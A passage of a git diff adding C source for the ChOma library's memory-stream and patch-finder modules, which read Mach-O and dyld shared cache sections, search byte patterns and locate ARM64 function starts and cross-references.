-1; +} + +int memory_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd) +{ + if (stream->expand) { + return stream->expand(stream, expandAtStart, expandAtEnd); + } + return -1; +} + +void memory_stream_free(MemoryStream *stream) +{ + if (stream->free) { + stream->free(stream); + } + free(stream); +} + +#define COPY_DATA_BUFFER_SIZE 0x4000 +int memory_stream_copy_data(MemoryStream *originStream, uint64_t originOffset, MemoryStream *targetStream, uint64_t targetOffset, size_t size) +{ + size_t originSize = memory_stream_get_size(originStream); + size_t targetSize = memory_stream_get_size(targetStream); + if (originSize == MEMORY_STREAM_SIZE_INVALID || targetSize == MEMORY_STREAM_SIZE_INVALID) { + printf("Error: memory_stream_copy_data failed, invalid size detected\n"); + return -1; + } + + if (originOffset + size > originSize) { + printf("Error: memory_stream_copy_data failed, originOffset OOB\n"); + return -1; + } + if (targetOffset + size > targetSize && !(memory_stream_get_flags(targetStream) | MEMORY_STREAM_FLAG_AUTO_EXPAND)) { + printf("Error: memory_stream_copy_data failed, targetOffset OOB\n"); + return -1; + } + + bool backwards = (originStream == targetStream) && (targetOffset > originOffset); + + uint8_t buffer[COPY_DATA_BUFFER_SIZE]; + for (uint32_t copiedSize = 0; copiedSize < size; copiedSize += COPY_DATA_BUFFER_SIZE) { + uint32_t remainingSize = size - copiedSize; + uint32_t sizeToCopy = COPY_DATA_BUFFER_SIZE; + if (remainingSize < sizeToCopy) { + sizeToCopy = remainingSize; + } + + uint64_t readOffset = backwards ? ((originOffset + (size - copiedSize)) - sizeToCopy) : (originOffset + copiedSize); + uint64_t writeOffset = backwards ? ((targetOffset + (size - copiedSize)) - sizeToCopy) : (targetOffset + copiedSize); + + int rr = memory_stream_read(originStream, readOffset, sizeToCopy, buffer); + if (rr != 0) { + printf("Error: memory_stream_copy_data failed on memory_stream_read (%d)\n", rr); + return rr; + } + int wr = memory_stream_write(targetStream, writeOffset, sizeToCopy, buffer); + if (wr != 0) { + printf("Error: memory_stream_copy_data failed on memory_stream_write (%d)\n", wr); + return rr; + } + } + + return 0; +} + +int memory_stream_find_memory(MemoryStream *stream, uint64_t searchStartOffset, uint64_t searchEndOffset, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundOffsetOut) +{ + __block int r = -1; + enumerate_range(searchStartOffset, searchEndOffset, alignment, nbytes, ^bool(uint64_t cur) { + uint8_t buf[nbytes]; + memory_stream_read(stream, cur, nbytes, buf); + if (!memcmp_masked(buf, bytes, mask, nbytes)) { + *foundOffsetOut = cur; + r = 0; + return false; + } + return true; + }); + return r; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/MemoryStream.h b/XPF/external/ChOma/src/MemoryStream.h new file mode 100644 index 0000000..ba00102 --- /dev/null +++ b/XPF/external/ChOma/src/MemoryStream.h @@ -0,0 +1,60 @@ +#ifndef MEMORY_STREAM_H +#define MEMORY_STREAM_H + +#include +#include +#include +#include +#include +#include +#include + +#define MEMORY_STREAM_FLAG_OWNS_DATA (1 << 0) +#define MEMORY_STREAM_FLAG_MUTABLE (1 << 1) +#define MEMORY_STREAM_FLAG_AUTO_EXPAND (1 << 2) + +#define MEMORY_STREAM_SIZE_INVALID (size_t)-1 + +// A generic memory IO interface that is used throughout this project +// Can be backed by anything, just the functions have to be implemented +typedef struct s_MemoryStream { + void *context; + uint32_t flags; + + int (*read)(struct s_MemoryStream *stream, uint64_t offset, size_t size, void *outBuf); + int (*write)(struct s_MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf); + int (*getSize)(struct s_MemoryStream *stream, size_t *sizeOut); + uint8_t *(*getRawPtr)(struct s_MemoryStream *stream); + + int (*trim)(struct s_MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd); + int (*expand)(struct s_MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd); + + struct s_MemoryStream *(*hardclone)(struct s_MemoryStream *stream); + struct s_MemoryStream *(*softclone)(struct s_MemoryStream *stream); + void (*free)(struct s_MemoryStream *stream); +} MemoryStream; + +int memory_stream_read(MemoryStream *stream, uint64_t offset, size_t size, void *outBuf); +int memory_stream_write(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf); + +int memory_stream_insert(MemoryStream *stream, uint64_t offset, size_t size, const void *inBuf); +int memory_stream_delete(MemoryStream *stream, uint64_t offset, size_t size); + +int memory_stream_read_string(MemoryStream *stream, uint64_t offset, char **outString); +int memory_stream_write_string(MemoryStream *stream, uint64_t offset, const char *string); + +size_t memory_stream_get_size(MemoryStream *stream); +uint8_t *memory_stream_get_raw_pointer(MemoryStream *stream); +uint32_t memory_stream_get_flags(MemoryStream *stream); + +MemoryStream *memory_stream_softclone(MemoryStream *stream); +MemoryStream *memory_stream_hardclone(MemoryStream *stream); +int memory_stream_trim(MemoryStream *stream, size_t trimAtStart, size_t trimAtEnd); +int memory_stream_expand(MemoryStream *stream, size_t expandAtStart, size_t expandAtEnd); + +void memory_stream_free(MemoryStream *stream); + +int memory_stream_copy_data(MemoryStream *originStream, uint64_t originOffset, MemoryStream *targetStream, uint64_t targetOffset, size_t size); +int memory_stream_find_memory(MemoryStream *stream, uint64_t searchStartOffset, uint64_t searchEndOffset, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundOffsetOut); + +#endif // MEMORY_STREAM_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/PatchFinder.c b/XPF/external/ChOma/src/PatchFinder.c new file mode 100644 index 0000000..cea2ad7 --- /dev/null +++ b/XPF/external/ChOma/src/PatchFinder.c @@ -0,0 +1,617 @@ +#include "PatchFinder.h" +#include "MachO.h" +#include "MemoryStream.h" +#include "Util.h" +#include "PatchFinder_arm64.h" +#include + +void pfsec_info_populate_section(PFSectionInfo *sectionInfo, struct section_64 *section, MachOSegment *segment) +{ + sectionInfo->fileoff = section->offset; + sectionInfo->vmaddr = section->addr; + sectionInfo->size = section->size; + sectionInfo->initprot = segment->command.initprot; + sectionInfo->maxprot = segment->command.maxprot; + + strncpy(sectionInfo->segname, segment->command.segname, sizeof(segment->command.segname)); + sectionInfo->segname[sizeof(sectionInfo->segname)-1] = '\0'; + + strncpy(sectionInfo->sectname, section->sectname, sizeof(section->sectname)); + sectionInfo->sectname[sizeof(sectionInfo->sectname)-1] = '\0'; +} + +void pfsec_info_populate_segment(PFSectionInfo *sectionInfo, MachOSegment *segment) +{ + sectionInfo->fileoff = segment->command.fileoff; + sectionInfo->vmaddr = segment->command.vmaddr; + sectionInfo->size = segment->command.vmsize; + sectionInfo->initprot = segment->command.initprot; + sectionInfo->maxprot = segment->command.maxprot; + + strncpy(sectionInfo->segname, segment->command.segname, sizeof(segment->command.segname)); + sectionInfo->segname[sizeof(sectionInfo->segname)-1] = '\0'; + + sectionInfo->sectname[0] = '\0'; +} + +void pfsec_info_populate_dsc_mapping(PFSectionInfo *sectionInfo, DyldSharedCacheMapping *dscMapping) +{ + sectionInfo->fileoff = dscMapping->fileoff; + sectionInfo->vmaddr = dscMapping->vmaddr; + sectionInfo->size = dscMapping->size; + sectionInfo->initprot = dscMapping->initProt; + sectionInfo->maxprot = dscMapping->maxProt; + + char dscIdxStr[3]; + size_t filepathLen = strlen(dscMapping->file->filepath); + if (dscMapping->file->filepath[filepathLen-3] == '.') { + strncpy(dscIdxStr, &dscMapping->file->filepath[filepathLen-2], sizeof(dscIdxStr)); + } + else { + strncpy(dscIdxStr, "00", sizeof(dscIdxStr)); + } + + snprintf(sectionInfo->segname, sizeof(sectionInfo->segname), "__DSC_%s", dscIdxStr); + + if (dscMapping->flags & DYLD_CACHE_MAPPING_AUTH_DATA) { + strlcpy(sectionInfo->sectname, "__auth_data", sizeof(sectionInfo->sectname)); + } else if (dscMapping->flags & DYLD_CACHE_MAPPING_DIRTY_DATA) { + strlcpy(sectionInfo->sectname, "__data", sizeof(sectionInfo->sectname)); + } else if (dscMapping->flags & DYLD_CACHE_MAPPING_CONST_DATA) { + strlcpy(sectionInfo->sectname, "__const_data", sizeof(sectionInfo->sectname)); + } else if (dscMapping->flags & DYLD_CACHE_MAPPING_TEXT_STUBS) { + strlcpy(sectionInfo->sectname, "__text_stubs", sizeof(sectionInfo->sectname)); + } else if (dscMapping->flags & DYLD_CACHE_DYNAMIC_CONFIG_DATA) { + strlcpy(sectionInfo->sectname, "__config_data", sizeof(sectionInfo->sectname)); + } +} + +int raw_buffer_find_memory(uint8_t *buf, uint64_t searchStartOffset, uint64_t searchEndOffset, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundOffsetOut) +{ + __block int r = -1; + enumerate_range(searchStartOffset, searchEndOffset, alignment, nbytes, ^bool(uint64_t cur) { + if (!memcmp_masked(&buf[cur], bytes, mask, nbytes)) { + *foundOffsetOut = cur; + r = 0; + return false; + } + return true; + }); + return r; +} + +PFSection *pfsec_init_from_macho(MachO *macho, const char *filesetEntryId, const char *segName, const char *sectName) +{ + PFSection *pfSection = NULL; + MachO *machoToUse = NULL; + if (filesetEntryId) { + // try to find a fileset macho with this identifier + for (uint32_t i = 0; i < macho->filesetCount; i++) { + FilesetMachO *filesetMacho = &macho->filesetMachos[i]; + if (filesetMacho->underlyingMachO->slicesCount == 1) { + if (!strcmp(filesetMacho->entry_id, filesetEntryId)) { + machoToUse = filesetMacho->underlyingMachO->slices[0]; + break; + } + } + } + } + else { + machoToUse = macho; + } + + if (machoToUse) { + MachOSegment *segment = NULL; + for (uint32_t i = 0; i < machoToUse->segmentCount; i++) { + MachOSegment *segmentCandidate = machoToUse->segments[i]; + if (!strncmp(segmentCandidate->command.segname, segName, sizeof(segmentCandidate->command.segname))) { + segment = segmentCandidate; + break; + } + } + if (segment) { + if (sectName) { + struct section_64 *section = NULL; + for (uint32_t i = 0; i < segment->command.nsects; i++) { + struct section_64 *sectionCandidate = &segment->sections[i]; + if (!strncmp(sectionCandidate->sectname, sectName, sizeof(sectionCandidate->sectname))) { + section = sectionCandidate; + } + } + if (section) { + pfSection = malloc(sizeof(PFSection)); + memset(pfSection, 0, sizeof(PFSection)); + pfsec_info_populate_section(&pfSection->info, section, segment); + } + } + else { + pfSection = malloc(sizeof(PFSection)); + memset(pfSection, 0, sizeof(PFSection)); + pfsec_info_populate_segment(&pfSection->info, segment); + } + } + } + + if (pfSection) { + pfSection->cache = NULL; + + MemoryStream *stream = memory_stream_softclone(macho->stream); + memory_stream_trim(stream, pfSection->info.fileoff, memory_stream_get_size(stream) - (pfSection->info.fileoff + pfSection->info.size)); + + pfSection->stream = stream; + pfSection->macho = macho; + } + + return pfSection; +} + +PFSection *pfsec_init_from_dsc_mapping(DyldSharedCache *sharedCache, DyldSharedCacheMapping *mapping) +{ + if (!sharedCache || !mapping) return NULL; + + PFSection *pfSection = malloc(sizeof(PFSection)); + if (!pfSection) return NULL; + memset(pfSection, 0, sizeof(PFSection)); + + pfsec_info_populate_dsc_mapping(&pfSection->info, mapping); + + pfSection->sharedCache = sharedCache; + + return pfSection; +} + +MachO *pfsec_get_macho(PFSection *section) +{ + return section->macho; +} + +DyldSharedCache *pfsec_get_dsc(PFSection *section) +{ + return section->sharedCache; +} + +void pfsec_set_pointer_decoder(PFSection *section, uint64_t (*pointerDecoder)(struct s_PFSection *section, uint64_t vmaddr, uint64_t value)) +{ + section->pointerDecoder = pointerDecoder; +} + +int pfsec_read_reloff(PFSection *section, uint64_t rel, size_t size, void *outBuf) +{ + if (rel > section->info.size) return -1; + + void *rawPtr = pfsec_get_raw_pointer(section); + if (rawPtr) { + memcpy(outBuf, &rawPtr[rel], size); + return 0; + } + else { + // XXX: This does not work for MachOs that are inside the DSC + // This code path will never be used for that however, since all DSC MachOs have a raw pointer + return memory_stream_read(section->stream, rel, size, outBuf); + } + + return -1; +} + +uint32_t pfsec_read32_reloff(PFSection *section, uint64_t rel) +{ + uint32_t r = 0; + pfsec_read_reloff(section, rel, sizeof(r), &r); + return r; +} + +int pfsec_read_string_reloff(PFSection *section, uint64_t rel, char **outString) +{ + if (rel > section->info.size) return -1; + + uint8_t *rawPtr = pfsec_get_raw_pointer(section); + if (rawPtr) { + const char *curString = (const char *)&rawPtr[rel]; + + // make sure we don't end up reading OOB memory + if ((uint8_t *)&curString[strnlen(curString, section->info.size - rel)] >= &rawPtr[section->info.size]) { + return -1; + } + + *outString = strdup(curString); + return 0; + } + else if (section->stream) { + // XXX: This does not work for MachOs that are inside the DSC + // This code path will never be used for that however, since all DSC MachOs have a raw pointer + return memory_stream_read_string(section->stream, rel, outString); + } + + return -1; +} + +int pfsec_read_string(PFSection *section, uint64_t vmaddr, char **outString) +{ + if (vmaddr < section->info.vmaddr) return -1; + return pfsec_read_string_reloff(section, vmaddr - section->info.vmaddr, outString); +} + +int pfsec_read_at_address(PFSection *section, uint64_t vmaddr, void *outBuf, size_t size) +{ + if (vmaddr < section->info.vmaddr) return -1; + if (vmaddr + size > section->info.vmaddr + section->info.size) return -1; + + uint64_t rel = vmaddr - section->info.vmaddr; + return pfsec_read_reloff(section, rel, size, outBuf); +} + +uint32_t pfsec_read32(PFSection *section, uint64_t vmaddr) +{ + uint32_t r = 0; + pfsec_read_at_address(section, vmaddr, &r, sizeof(r)); + return r; +} + +uint64_t pfsec_read64(PFSection *section, uint64_t vmaddr) +{ + uint64_t r = 0; + pfsec_read_at_address(section, vmaddr, &r, sizeof(r)); + return r; +} + +uint64_t pfsec_read_pointer(PFSection *section, uint64_t vmaddr) +{ + uint64_t value = pfsec_read64(section, vmaddr); + if (section->pointerDecoder) { + return section->pointerDecoder(section, vmaddr, value); + } + return value; +} + +int pfsec_set_cached(PFSection *section, bool cached) +{ + bool isCachedAlready = (bool)section->cache; + if (cached != isCachedAlready && section->stream) { + if (cached) { + // If we already have a raw pointer, caching is obsolete + if (pfsec_get_raw_pointer(section)) return 0; + + void *cache = malloc(section->info.size); + int r = pfsec_read_reloff(section, 0, section->info.size, cache); + if (r != 0) { + free(cache); + return r; + } + section->cache = cache; + } + else { + free(section->cache); + section->cache = NULL; + } + } + return 0; +} + +void *pfsec_get_raw_pointer(PFSection *section) +{ + DyldSharedCache *sharedCache = pfsec_get_dsc(section); + if (!sharedCache) { + MachO *macho = pfsec_get_macho(section); + if (macho) { + sharedCache = macho->containingCache; + } + } + if (sharedCache) { + return dsc_find_buffer(sharedCache, section->info.vmaddr, section->info.size); + } + + uint8_t *rawPtr = NULL; + if (section->stream) { + rawPtr = memory_stream_get_raw_pointer(section->stream); + } + + if (rawPtr) { + return rawPtr; + } + else if(section->cache) { + return section->cache; + } + return NULL; +} + +int pfsec_find_memory_rel(PFSection *section, uint64_t searchStartOffset, uint64_t searchEndOffset, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundRelOffsetOut) +{ + void *rawPtr = pfsec_get_raw_pointer(section); + if (rawPtr) { + return raw_buffer_find_memory(rawPtr, searchStartOffset, searchEndOffset, bytes, mask, nbytes, alignment, foundRelOffsetOut); + } + else if (section->stream) { + // XXX: This does not work for MachOs that are inside the DSC + // This code path will never be used for that however, since all DSC MachOs have a raw pointer + return memory_stream_find_memory(section->stream, searchStartOffset, searchEndOffset, bytes, mask, nbytes, alignment, foundRelOffsetOut); + } + + return -1; +} + +int pfsec_find_memory(PFSection *section, uint64_t searchStartAddr, uint64_t searchEndAddr, void *bytes, void *mask, size_t nbytes, uint16_t alignment, uint64_t *foundAddrOut) +{ + // Ensure searchStartAddr and searchEndAddr stay within section bounds + if (searchStartAddr < section->info.vmaddr) searchStartAddr = section->info.vmaddr; + if (searchEndAddr < section->info.vmaddr) searchEndAddr = section->info.vmaddr; + if (searchStartAddr > (section->info.vmaddr + section->info.size)) searchStartAddr = section->info.vmaddr + section->info.size; + if (searchEndAddr > (section->info.vmaddr + section->info.size)) searchEndAddr = section->info.vmaddr + section->info.size; + + uint64_t foundRelOff = 0; + int r = pfsec_find_memory_rel(section, searchStartAddr - section->info.vmaddr, searchEndAddr - section->info.vmaddr, bytes, mask, nbytes, alignment, &foundRelOff); + if (r == 0) { + *foundAddrOut = section->info.vmaddr + foundRelOff; + } + + return r; +} + +// pfsec_find_prev_inst will start searching at the instruction *before* the instruction at startAddr +// + 0x1000: [first search comparison] +// + 0x1004: [startAddr] + +uint64_t pfsec_find_prev_inst(PFSection *section, uint64_t startAddr, uint32_t searchCount, uint32_t inst, uint32_t mask) +{ + uint64_t out = 0; + uint64_t endAddr = searchCount ? (startAddr - (sizeof(uint32_t) * searchCount)) : section->info.vmaddr; + pfsec_find_memory(section, startAddr, endAddr, &inst, &mask, sizeof(inst), sizeof(uint32_t), &out); + if (!out) return 0; + return out; +} + +// pfsec_find_next_inst will start searching at the instruction at startAddr +// + 0x1000: [startAddr, first search comparison] + +uint64_t pfsec_find_next_inst(PFSection *section, uint64_t startAddr, uint32_t searchCount, uint32_t inst, uint32_t mask) +{ + uint64_t out = 0; + uint64_t endAddr = searchCount ? (startAddr + (sizeof(uint32_t) * searchCount)) : (section->info.vmaddr + section->info.size); + pfsec_find_memory(section, startAddr, endAddr, &inst, &mask, sizeof(inst), sizeof(uint32_t), &out); + if (!out) return 0; + return out; +} + +uint64_t pfsec_find_function_start(PFSection *section, uint64_t midAddr) +{ + uint32_t cputype = 0; + uint32_t cpusubtype = 0; + + MachO *macho = pfsec_get_macho(section); + DyldSharedCache *sharedCache = pfsec_get_dsc(section); + if (macho) { + cputype = macho->machHeader.cputype; + cpusubtype = macho->machHeader.cpusubtype; + + // If the MachO contains function starts, use those to determine the function start + __block uint64_t start = 0; + if (macho_enumerate_function_starts(macho, ^(uint64_t funcAddr, bool *stop){ + if (funcAddr <= midAddr) { + start = funcAddr; + } + else { + *stop = true; + } + }) == 0) { + if (start >= section->info.vmaddr && start < (section->info.vmaddr + section->info.size)) { + return start; + } + } + } + else if (sharedCache) { + cputype = sharedCache->cputype; + cpusubtype = sharedCache->cpusubtype; + } + + // If there are no function starts, try to find them based on a heuristic approach + if (cputype == CPU_TYPE_ARM64) { + if ((cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E) { + // Find start of function by going back until we find a PACIBSP + uint64_t addr = midAddr; + while (addr > section->info.vmaddr && addr < (section->info.vmaddr + section->info.size)) { + uint32_t curInst = pfsec_read32(section, addr); + if (curInst == 0xd503237f) return addr; + addr -= 4; + } + } + else if ((cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64_ALL) { + // Find start of function by going back until we find a stack frame push + // Technique adapted from pongoOS + uint64_t frameAddr = pfsec_find_prev_inst(section, midAddr, 0, 0x910003fd, 0xff8003ff); // add x29, sp, ? + if (frameAddr) { + uint64_t start = pfsec_find_prev_inst(section, frameAddr, 10, 0x29a003e0, 0x3be003e0); // stp ?, ?, [sp, ?]! + if (!start) { + start = pfsec_find_prev_inst(section, frameAddr, 10, 0xd10003ff, 0xff8003ff); // sub sp, sp, ? + } + return start; + } + } + } + return 0; +} + +bool pfsec_contains_vmaddr(PFSection *section, uint64_t addr) +{ + return (addr >= section->info.vmaddr && addr < (section->info.vmaddr + section->info.size)); +} + +void pfsec_free(PFSection *section) +{ + if (section->stream) { + memory_stream_free(section->stream); + } + pfsec_set_cached(section, false); + free(section); +} + +void _pfsec_run_pattern_metric(PFSection *section, uint64_t startAddr, uint64_t endAddr, PFPatternMetric *patternMetric, void (^matchBlock)(uint64_t vmaddr, bool *stop)) +{ + uint16_t alignment = patternMetric->alignment; + + while (pfsec_find_memory(section, startAddr, endAddr, patternMetric->bytes, patternMetric->mask, patternMetric->nbytes, alignment, &startAddr) == 0) { + bool stop = false; + matchBlock(startAddr, &stop); + if (stop) break; + + if (endAddr >= startAddr) { + startAddr += alignment; + } + else { + // When searching backwards, the search will automatically start one instruction before startAddr + // Due to that, we do not need to decrement it by anything + } + } +} + +PFPatternMetric *pfmetric_pattern_init(void *bytes, void *mask, size_t nbytes, uint16_t alignment) +{ + PFPatternMetric *metric = malloc(sizeof(PFPatternMetric)); + + metric->shared.type = PFMETRIC_TYPE_PATTERN; + metric->bytes = bytes; + metric->mask = mask; + metric->nbytes = nbytes; + metric->alignment = alignment; + + return metric; +} + +void _pfsec_run_string_metric(PFSection *section, uint64_t startAddr, uint64_t endAddr, PFStringMetric *stringMetric, void (^matchBlock)(uint64_t vmaddr, bool *stop)) +{ + char *str = NULL; + uint64_t searchOffset = 0; + while (pfsec_read_string_reloff(section, searchOffset, &str) == 0) { + if (!strcmp(str, stringMetric->string)) { + bool stop = false; + matchBlock(section->info.vmaddr + searchOffset, &stop); + if (stop) break; + } + searchOffset += strlen(str)+1; + free(str); + } +} + +PFStringMetric *pfmetric_string_init(const char *string) +{ + PFStringMetric *metric = malloc(sizeof(PFStringMetric)); + + metric->shared.type = PFMETRIC_TYPE_STRING; + metric->string = strdup(string); + + return metric; +} + +void _pfsec_run_arm64_xref_metric(PFSection *section, uint64_t startAddr, uint64_t endAddr, PFXrefMetric *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop)) +{ + Arm64XrefTypeMask arm64Types = 0; + if (metric->typeMask == 0) return; + if (metric->typeMask & XREF_TYPE_MASK_CALL) { + arm64Types |= ARM64_XREF_TYPE_MASK_CALL; + } + if (metric->typeMask & XREF_TYPE_MASK_JUMP) { + arm64Types |= ARM64_XREF_TYPE_MASK_JUMP; + } + if (metric->typeMask & XREF_TYPE_MASK_REFERENCE) { + arm64Types |= ARM64_XREF_TYPE_MASK_REFERENCE; + } + if (metric->typeMask & XREF_TYPE_MASK_POINTER) { + arm64Types |= ARM64_XREF_TYPE_MASK_POINTER; + } + + pfsec_arm64_enumerate_xrefs(section, arm64Types, ^(Arm64XrefType type, uint64_t source, uint64_t target, bool *stop) { + bool match = false; + if (metric->dynamicHandler) { + match = metric->dynamicHandler(section, metric, source, target); + } + else { + match = (target == metric->address); + } + + if (match) { + matchBlock(source, stop); + } + }); +} + +void _pfsec_run_xref_metric(PFSection *section, uint64_t startAddr, uint64_t endAddr, PFXrefMetric *xrefMetric, void (^matchBlock)(uint64_t vmaddr, bool *stop)) +{ + uint32_t cputype = 0; + MachO *macho = pfsec_get_macho(section); + if (macho) { + cputype = macho->machHeader.cputype; + } + else { + DyldSharedCache *sharedCache = pfsec_get_dsc(section); + if (sharedCache) { + cputype = sharedCache->cputype; + } + } + + switch(cputype) { + case CPU_TYPE_ARM64: + _pfsec_run_arm64_xref_metric(section, startAddr, endAddr, xrefMetric, matchBlock); + break; + } +} + +PFXrefMetric *pfmetric_xref_init(uint64_t address, PFXrefTypeMask types) +{ + PFXrefMetric *metric = malloc(sizeof(PFXrefMetric)); + if (!metric) return NULL; + memset(metric, 0, sizeof(PFXrefMetric)); + + metric->shared.type = PFMETRIC_TYPE_XREF; + metric->address = address; + metric->typeMask = types; + + return metric; +} + +PFXrefMetric *pfmetric_dynamic_xref_init(bool (*dynamicHandler)(PFSection *section, PFXrefMetric *metric, uint64_t location, uint64_t target), void *ctx, PFXrefTypeMask types) +{ + PFXrefMetric *metric = malloc(sizeof(PFXrefMetric)); + if (!metric) return NULL; + memset(metric, 0, sizeof(PFXrefMetric)); + + metric->shared.type = PFMETRIC_TYPE_XREF; + metric->dynamicHandler = dynamicHandler; + metric->ctx = ctx; + metric->typeMask = types; + + return metric; +} + +void pfmetric_free(void *metric) +{ + uint32_t type = ((PFPatternMetric *)metric)->shared.type; + if (type == PFMETRIC_TYPE_STRING) { + free(((PFStringMetric *)metric)->string); + } + free(metric); +} + +void pfmetric_run_in_range(PFSection *section, uint64_t startAddr, uint64_t endAddr, void *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop)) +{ + if (startAddr == -1ULL) startAddr = section->info.vmaddr; + if (endAddr == -1ULL) endAddr = section->info.vmaddr + section->info.size; + + MetricShared *shared = metric; + switch (shared->type) { + case PFMETRIC_TYPE_PATTERN: { + _pfsec_run_pattern_metric(section, startAddr, endAddr, metric, matchBlock); + break; + } + case PFMETRIC_TYPE_STRING: { + _pfsec_run_string_metric(section, startAddr, endAddr, metric, matchBlock); + break; + } + case PFMETRIC_TYPE_XREF: { + _pfsec_run_xref_metric(section, startAddr, endAddr, metric, matchBlock); + break; + } + } +} + +void pfmetric_run(PFSection *section, void *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop)) +{ + return pfmetric_run_in_range(section, -1, -1, metric, matchBlock); +} diff --git a/XPF/external/ChOma/src/PatchFinder.h b/XPF/external/ChOma/src/PatchFinder.h new file mode 100644 index 0000000..14d8256 --- /dev/null +++ b/XPF/external/ChOma/src/PatchFinder.h @@ -0,0 +1,105 @@ +#ifndef PATCHFINDER_H +#define PATCHFINDER_H + +#include +#include "MachO.h" + +enum { + PFMETRIC_TYPE_PATTERN, + PFMETRIC_TYPE_STRING, + PFMETRIC_TYPE_XREF, +}; + +typedef struct s_PFSectionInfo { + char sectname[17]; + char segname[17]; + uint64_t fileoff; + uint64_t vmaddr; + uint64_t size; + uint32_t initprot; + uint32_t maxprot; +} PFSectionInfo; + +void pfsec_info_populate_section64(PFSectionInfo *sectionInfo, struct section_64 *section64); +void pfsec_info_populate_segment(PFSectionInfo *sectionInfo, MachOSegment *segment); +void pfsec_info_populate_dsc_mapping(PFSectionInfo *sectionInfo, DyldSharedCacheMapping *dscMapping); + +typedef struct s_PFSection { + MemoryStream *stream; + MachO *macho; + DyldSharedCache *sharedCache; + PFSectionInfo info; + uint8_t *cache; + uint64_t (*pointerDecoder)(struct s_PFSection *section, uint64_t vmaddr, uint64_t value); +} PFSection; + +PFSection *pfsec_init_from_macho(MachO *macho, const char *filesetEntryId, const char *segName, const char *sectName); +PFSection *pfsec_init_from_dsc_mapping(DyldSharedCache *sharedCache, DyldSharedCacheMapping *mapping); +MachO *pfsec_get_macho(PFSection *section); +DyldSharedCache *pfsec_get_dsc(PFSection *section); +void pfsec_set_pointer_decoder(PFSection *section, uint64_t (*pointerDecoder)(struct s_PFSection *section, uint64_t vmaddr, uint64_t value)); +int pfsec_read_reloff(PFSection *section, uint64_t rel, size_t size, void *outBuf); +uint32_t pfsec_read32_reloff(PFSection *section, uint64_t rel); +int pfsec_read_at_address(PFSection *section, uint64_t vmaddr, void *outBuf, size_t size); +uint32_t pfsec_read32(PFSection *section, uint64_t vmaddr); +uint64_t pfsec_read64(PFSection *section, uint64_t vmaddr); +uint64_t pfsec_read_pointer(PFSection *section, uint64_t vmaddr); +int pfsec_read_string(PFSection *section, uint64_t vmaddr, char **outString); +int pfsec_set_cached(PFSection *section, bool cached); +void *pfsec_get_raw_pointer(PFSection *section); +uint64_t pfsec_find_prev_inst(PFSection *section, uint64_t startAddr, uint32_t searchCount, uint32_t inst, uint32_t mask); +uint64_t pfsec_find_next_inst(PFSection *section, uint64_t startAddr, uint32_t searchCount, uint32_t inst, uint32_t mask); +uint64_t pfsec_find_function_start(PFSection *section, uint64_t midAddr); +bool pfsec_contains_vmaddr(PFSection *section, uint64_t addr); +void pfsec_free(PFSection *section); + + +typedef struct s_MetricShared { + uint32_t type; +} MetricShared; + +typedef struct s_PFPatternMetric { + MetricShared shared; + + void *bytes; + void *mask; + size_t nbytes; + uint16_t alignment; +} PFPatternMetric; + +typedef struct s_PFStringMetric { + MetricShared shared; + + char *string; +} PFStringMetric; + +typedef enum { + XREF_TYPE_MASK_CALL = (1 << 0), + XREF_TYPE_MASK_JUMP = (1 << 1), + XREF_TYPE_MASK_REFERENCE = (1 << 2), + XREF_TYPE_MASK_POINTER = (1 << 3), + XREF_TYPE_MASK_ALL = (XREF_TYPE_MASK_CALL | XREF_TYPE_MASK_REFERENCE | XREF_TYPE_MASK_POINTER), +} PFXrefTypeMask; + +typedef struct s_PFXrefMetric { + MetricShared shared; + + // Normal xref + uint64_t address; + + // Dynamic xref + bool (*dynamicHandler)(PFSection *section, struct s_PFXrefMetric *metric, uint64_t location, uint64_t target); + void *ctx; + + PFXrefTypeMask typeMask; +} PFXrefMetric; + +PFPatternMetric *pfmetric_pattern_init(void *bytes, void *mask, size_t nbytes, uint16_t alignment); +PFStringMetric *pfmetric_string_init(const char *string); +PFXrefMetric *pfmetric_xref_init(uint64_t address, PFXrefTypeMask types); +PFXrefMetric *pfmetric_dynamic_xref_init(bool (*dynamicHandler)(PFSection *section, PFXrefMetric *metric, uint64_t location, uint64_t target), void *ctx, PFXrefTypeMask types); +void pfmetric_free(void *metric); + +void pfmetric_run_in_range(PFSection *section, uint64_t startAddr, uint64_t endAddr, void *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop)); +void pfmetric_run(PFSection *section, void *metric, void (^matchBlock)(uint64_t vmaddr, bool *stop)); +#endif \ No newline at end of file diff --git a/XPF/external/ChOma/src/PatchFinder_arm64.c b/XPF/external/ChOma/src/PatchFinder_arm64.c new file mode 100644 index 0000000..aafabeb --- /dev/null +++ b/XPF/external/ChOma/src/PatchFinder_arm64.c @@ -0,0 +1,341 @@ +#include "PatchFinder_arm64.h" +#include "PatchFinder.h" +#include "arm64.h" +#include + +// Unified check for whether anything writes to a register between firstAddr and secondAddr +bool pfsec_arm64_scan_register_write(PFSection *section, arm64_register reg, uint64_t endAddr, uint64_t startAddr) +{ + if (startAddr == endAddr) { + return false; + } + else if (startAddr > endAddr) { + printf("Fatal error pfsec_arm64_scan_register_write: startAddr > endAddr\n"); + return false; + } + + uint16_t regNum = ARM64_REG_GET_NUM(reg); + + for (uint64_t curAddr = (endAddr - sizeof(uint32_t)); curAddr > startAddr; curAddr -= sizeof(uint32_t)) { + uint32_t inst = pfsec_read32(section, curAddr); + arm64_register destinationReg, sourceReg; + + // Check for immediate add writing to reg + if (arm64_dec_add_imm(inst, &destinationReg, &sourceReg, NULL) == 0) goto found_inst_match; + // Check for immediate mov writing to reg + else if (arm64_dec_mov_imm(inst, &destinationReg, NULL, NULL, NULL) == 0) goto found_inst_match; + // Check for register 